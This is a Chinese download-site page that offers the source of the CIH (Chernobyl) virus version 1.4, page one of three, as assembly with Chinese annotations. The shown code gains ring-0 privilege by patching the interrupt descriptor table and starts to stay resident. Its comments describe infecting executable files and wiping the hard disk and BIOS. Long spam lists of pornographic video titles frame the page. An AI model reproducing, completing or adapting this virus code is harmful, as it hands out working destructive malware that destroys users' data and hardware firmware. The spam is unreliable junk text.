亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? _cih病毒1.4版本之中文注釋.txt

?? CIH病毒源碼 喜歡的大家可以看看。還是不錯的
?? TXT
?? 第 1 頁 / 共 3 頁
字號:
;CIH病毒1.4版本之中文注釋
;源程序中的英文注釋未作修改,全部保留 **************************************************************************** 
; * The Virus Program Information * 
; **************************************************************************** 
; * * 
; * Designer : CIH Source : TTIT of TATUNG in Taiwan * 
; * Create Date : 04/26/1998 Now Version : 1.4 * 
; * Modification Time : 05/31/1998 * 
; * * 
; * Turbo Assembler Version 4.0 : tasm /m cih * 
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ;編譯連接方法 
; * * ;使用的是TurboAssembler 
; *==========================================================================* ;可在Borland C++ 3.1中找到 
; * Modification History * 
; *==========================================================================* 
; * v1.0 1. Create the Virus Program. * 
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * 
; * 04/26/1998 3. Virus Code doesn't Reload into System. * 
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * 
; * 6. When System Opens Existing PE File, the File will be * 
; * Infected, and the File doesn't be Reinfected. * 
; * 7. It is also Infected, even the File is Read-Only. * 
; * 8. When the File is Infected, the Modification Date and Time * 
; * of the File also don't be Changed. * 
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * 
; * Previous FileSystemApiHook, it will Call the Function * 
; * that the IFS Manager Would Normally Call to Implement * 
; * this Particular I/O Request. * 
; * 10. The Virus Size is only 656 Bytes. * 
; *==========================================================================* 
; * v1.1 1. Especially, the File that be Infected will not Increase * 
; * it's Size... ^__^ * 
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * 
; * When Exception Error Occurs, Our OS System should be in * 
; * Windows NT. So My Cute Virus will not Continue to Run, * 
; * it will Jmup to Original Application to Run. * 
; * 3. Use Better Algorithm, Reduce Virus Code Size. * 
; * 4. The Virus "Basic" Size is only 796 Bytes. * 
; *==========================================================================* 
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * 
; * 2. Modify the Bug of v1.1 * 
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * 
; *==========================================================================* 
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * 
; * So When Open WinZip Self-Extractor ==> Don't Infect it. * 
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * 
; *==========================================================================* 
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * 
; * 2. Change the Date of Killing Computers. * 
; * 05/31/1998 3. Modify Virus Version Copyright. * 
; * 4. The Virus "Basic" Size is 1019 Bytes. * 
; **************************************************************************** 

.586P ;586保護模式匯編 

; **************************************************************************** 
; * Original PE Executable File(Don't Modify this Section) * 
; **************************************************************************** 

OriginalAppEXE SEGMENT 

FileHeader: ;編譯連接后的PE格式可執行文件文件頭 
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h 
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h 
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh 
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h 
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h 
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh 
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh 
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h 
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah 
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h 
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h 
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h 
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h 
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h 
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
dd 00000000h, VirusSize 

OriginalAppEXE ENDS 

; **************************************************************************** 
; * My Virus Game * 
; **************************************************************************** 

; ********************************************************* 
; * Constant Define * 
; ********************************************************* 

TRUE = 1 
FALSE = 0 

DEBUG = FALSE 

MajorVirusVersion = 1 ;主版本號 
MinorVirusVersion = 4 ;副版本號 

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion ;合成版本號 


IF DEBUG ;是否是調試用 

FirstKillHardDiskNumber = 81h ;殺掉第二個硬盤“d:” 
HookExceptionNumber = 05h ;使用5號中斷 

ELSE 

FirstKillHardDiskNumber = 80h ;殺掉第一個硬盤“c:” 
HookExceptionNumber = 03h ;使用3號中斷 

ENDIF 


FileNameBufferSize = 7fh 

; ********************************************************* 
; ********************************************************* 

VirusGame SEGMENT 

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame 
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame 

; ********************************************************* 
; * Ring3 Virus Game Initial Program * 
; ********************************************************* 

MyVirusStart: 
push ebp 

; ************************************* 
; * Let's Modify Structured Exception * 
; * Handing, Prevent Exception Error * 
; * Occurrence, Especially in NT. * 
; ************************************* 

lea eax, [esp-04h*2] 

xor ebx, ebx 
xchg eax, fs:[ebx] 

call @0 
@0: 
pop ebx ;獲取程序起始偏移量? 
;用此偏移量+相對偏移量獲得絕對地址(病毒程序大量用到) 
lea ecx, StopToRunVirusCode-@0[ebx] 
push ecx 

push eax 

; ************************************* 
; * Let's Modify * 
; * IDT(Interrupt Descriptor Table) * 
; * to Get Ring0 Privilege... * 
; ************************************* 

push eax ; 
sidt [esp-02h] ; Get IDT Base Address ?;獲得中斷描述符表的基址到ebx 
pop ebx ; 

add ebx, HookExceptionNumber*08h+04h ; ZF = 0 ;計算要用中斷的基址到ebx 

cli ;在改表項前關中斷? 

mov ebp, [ebx] ; Get Exception Base 
mov bp, [ebx-04h] ; Entry Point ?;取得中斷基址到ebp 

lea esi, MyExceptionHook-@1[ecx] 

push esi ?;esi為病毒中斷例程地址 

mov [ebx-04h], si ; 
shr esi, 16 ; Modify Exception 
mov [ebx+02h], si ; Entry Point Address;修改中斷基址使指向病毒中斷例程 

pop esi 

; ************************************* 
; * Generate Exception to Get Ring0 * 
; ************************************* 

int HookExceptionNumber ; GenerateException;以中斷的方式進入0級 
ReturnAddressOfEndException = $ 

; ************************************* 
; * Merge All Virus Code Section * 
; ************************************* 

push esi 
mov esi, eax ;esi指向病毒開始處 

LoopOfMergeAllVirusCodeSection: 

mov ecx, [eax-04h] 

rep movsb ;拷貝病毒代碼到分配好的系統內存首址 

sub eax, 08h 

mov esi, [eax] 

or esi, esi 
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 ;拷貝結束 

jmp LoopOfMergeAllVirusCodeSection ;拷貝下一段 

QuitLoopOfMergeAllVirusCodeSection: 

pop esi 

; ************************************* 
; * Generate Exception Again * 
; ************************************* 

int HookExceptionNumber ; GenerateException Aga 
;再一次進入0級 

; ************************************* 
; * Let's Restore * 
; * Structured Exception Handing * 
; ************************************* 

ReadyRestoreSE: 
sti ;開中斷 

xor ebx, ebx 

jmp RestoreSE 

; ************************************* 
; * When Exception Error Occurs, * 
; * Our OS System should be in NT. * 
; * So My Cute Virus will not * 
; * Continue to Run, it Jmups to * 
; * Original Application to Run. * 
; ************************************* 

StopToRunVirusCode: 
@1 = StopToRunVirusCode 

xor ebx, ebx 
mov eax, fs:[ebx] 
mov esp, [eax] 

RestoreSE: 
pop dword ptr fs:[ebx] 
pop eax 

; ************************************* 
; * Return Original App to Execute * 
; ************************************* 

pop ebp 

push 00401000h ; Push Original 
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack 
;把原程序的開始地址壓棧 
ret ; Return to Original App Entry Point ;以子程序返回形式返回到原程序的開始處 

; ********************************************************* 
; * Ring0 Virus Game Initial Program * 
; ********************************************************* 

MyExceptionHook: 
@2 = MyExceptionHook 

jz InstallMyFileSystemApiHook ;如果病毒代碼已拷貝好了 
;轉到安裝文件系統鉤子的程序 
; ************************************* 
; * Do My Virus Exist in System !? * 
; ************************************* 

mov ecx, dr0 ;察看dr0是否設置過(dr0為病毒駐留標志) 
jecxz AllocateSystemMemoryPage ;沒有設置,則分配系統內存 

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException 

; ************************************* 
; * Return to Ring3 Initial Program * 
; ************************************* 

ExitRing0Init: 
mov [ebx-04h], bp ; 
shr ebp, 16 ; Restore Exception 
mov [ebx+02h], bp ; ;恢復原來的中斷基址 

iretd ;中斷返回 

; ************************************* 
; * Allocate SystemMemory Page to Use * 
; ************************************* 

AllocateSystemMemoryPage: 

mov dr0, ebx ; Set the Mark of My Virus Exist in System 
;設置dr0,它是病毒駐留的標志 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲少妇最新在线视频| 国产精品美女久久久久久2018| 6080国产精品一区二区| 久久精品亚洲一区二区三区浴池| 一区二区三区日韩精品视频| 老司机精品视频导航| 91视频一区二区三区| 日韩精品一区二区三区在线观看| 亚洲精品国产视频| 国产成人亚洲综合a∨猫咪| 欧美日韩三级一区| 中文字幕 久热精品 视频在线 | 久久久久久久av麻豆果冻| 亚洲影院在线观看| bt欧美亚洲午夜电影天堂| 精品精品国产高清a毛片牛牛| 亚洲一区二区在线免费观看视频 | 久久影音资源网| 偷拍日韩校园综合在线| 91丨九色丨尤物| 国产欧美一区二区精品久导航| 国产精品三级视频| 九九久久精品视频| 91久久一区二区| 欧美国产一区在线| 美腿丝袜在线亚洲一区| 在线精品视频一区二区| 欧美国产日产图区| 蜜臀av性久久久久蜜臀aⅴ| 色综合天天性综合| 国产精品美女一区二区三区| 久久精品国产澳门| 欧美视频第二页| 亚洲日本成人在线观看| 国产一区二区女| 欧美一卡2卡三卡4卡5免费| 中文字幕乱码亚洲精品一区| 麻豆精品国产传媒mv男同| 欧美日韩国产片| 亚洲精品日韩一| 成人爽a毛片一区二区免费| 26uuu亚洲| 麻豆91精品91久久久的内涵| 欧美久久久影院| 一区二区三区四区精品在线视频| www.日韩av| 国产精品另类一区| www.欧美亚洲| 亚洲欧洲无码一区二区三区| 成人激情小说网站| 欧美极品少妇xxxxⅹ高跟鞋| 国产精品一区在线| 久久精品亚洲麻豆av一区二区| 国产揄拍国内精品对白| 欧美va亚洲va香蕉在线| 国产综合久久久久久久久久久久| 精品国产乱码久久久久久影片| 水野朝阳av一区二区三区| 欧美日韩精品高清| 日本少妇一区二区| 日韩欧美国产成人一区二区| 六月丁香婷婷色狠狠久久| 欧美成人精品1314www| 精品在线播放免费| 国产免费观看久久| 99久久夜色精品国产网站| 亚洲免费视频中文字幕| 欧美在线啊v一区| 五月天欧美精品| 日韩女优电影在线观看| 国产麻豆日韩欧美久久| 国产精品嫩草影院av蜜臀| 色94色欧美sute亚洲13| 自拍偷拍亚洲欧美日韩| 91国偷自产一区二区开放时间 | 丁香桃色午夜亚洲一区二区三区| 日韩女优电影在线观看| 国产乱码精品1区2区3区| 久久久久久久久久久久久夜| 不卡的av电影| 首页欧美精品中文字幕| 久久久国际精品| 色婷婷综合久久久久中文| 婷婷成人激情在线网| 精品国产三级a在线观看| 成人在线视频一区| 中文字幕日韩欧美一区二区三区| 色欲综合视频天天天| 亚洲乱码国产乱码精品精可以看| 日韩一区二区中文字幕| 成人18视频在线播放| 日韩和的一区二区| 国产精品入口麻豆原神| 欧美日韩一区二区三区在线看 | 国内成人精品2018免费看| 一区二区在线观看av| 日韩精品一区二区三区视频播放| 99久久婷婷国产综合精品| 日本女优在线视频一区二区| 国产精品色在线观看| 91精品国产91综合久久蜜臀| zzijzzij亚洲日本少妇熟睡| 蜜桃视频在线观看一区二区| 国产精品久久久久一区| 日韩一级高清毛片| 91视频xxxx| 国产成人精品网址| 久久精品国产99久久6| 亚洲国产精品视频| 国产精品国产三级国产有无不卡| 91精品久久久久久久91蜜桃| 99久久精品一区二区| 国产高清不卡一区| 免费久久99精品国产| 亚洲自拍偷拍九九九| 国产精品网站在线播放| 精品国产凹凸成av人网站| 欧美日韩dvd在线观看| 91在线观看免费视频| 国产一区二区美女诱惑| 国产综合久久久久影院| 久久成人av少妇免费| 日本三级韩国三级欧美三级| 一级特黄大欧美久久久| 亚洲视频免费在线观看| 国产精品网站在线播放| 日本一二三不卡| 久久精品视频在线免费观看| 精品国产污污免费网站入口| 欧美成人激情免费网| 欧美一区二区三区在线视频| 欧美网站一区二区| 欧美一区二区在线免费播放| 这里只有精品免费| 3751色影院一区二区三区| 欧美在线免费观看视频| 欧美婷婷六月丁香综合色| 欧美性videosxxxxx| 欧美视频一区二区三区在线观看| 欧美亚洲国产一区在线观看网站| av亚洲精华国产精华精| 99re成人在线| 欧美综合欧美视频| 在线观看网站黄不卡| 5566中文字幕一区二区电影 | 欧美在线播放高清精品| 欧美日韩一区久久| 日韩一区二区三区免费看 | 国产三级一区二区| 中文在线免费一区三区高中清不卡| 国产目拍亚洲精品99久久精品 | 日韩三级中文字幕| 欧美精品一区二区三区一线天视频| 精品捆绑美女sm三区| 国产欧美一区视频| 中文字幕va一区二区三区| 亚洲国产日韩在线一区模特| 日韩精品亚洲专区| 国产ts人妖一区二区| 色综合久久久久综合| 欧美日韩精品一区二区三区蜜桃| 日韩亚洲欧美在线| 国产日韩视频一区二区三区| 亚洲欧美一区二区不卡| 偷拍一区二区三区四区| 精品亚洲aⅴ乱码一区二区三区| 国产精品99久久久久久有的能看| 成人午夜免费电影| 欧美精选一区二区| 欧美岛国在线观看| 欧美日韩卡一卡二| 国产三级精品视频| 亚洲成av人片一区二区梦乃 | 蜜臀av亚洲一区中文字幕| 94-欧美-setu| 国产亚洲1区2区3区| 亚洲精品久久久蜜桃| 久久不见久久见免费视频7| 99麻豆久久久国产精品免费| 欧美另类videos死尸| 久久久三级国产网站| 国产精品国产三级国产| 天堂成人免费av电影一区| 福利电影一区二区| 9191国产精品| 国产精品国产三级国产普通话三级| 欧美bbbbb| 欧美三级中文字| 中文字幕av免费专区久久| 看片的网站亚洲| 欧美午夜在线观看| 国产精品毛片久久久久久| 五月综合激情婷婷六月色窝| 极品瑜伽女神91| 7777精品伊人久久久大香线蕉完整版| 国产精品婷婷午夜在线观看| 国内精品伊人久久久久av影院| 欧美三片在线视频观看| 亚洲人成在线观看一区二区| 韩国一区二区在线观看|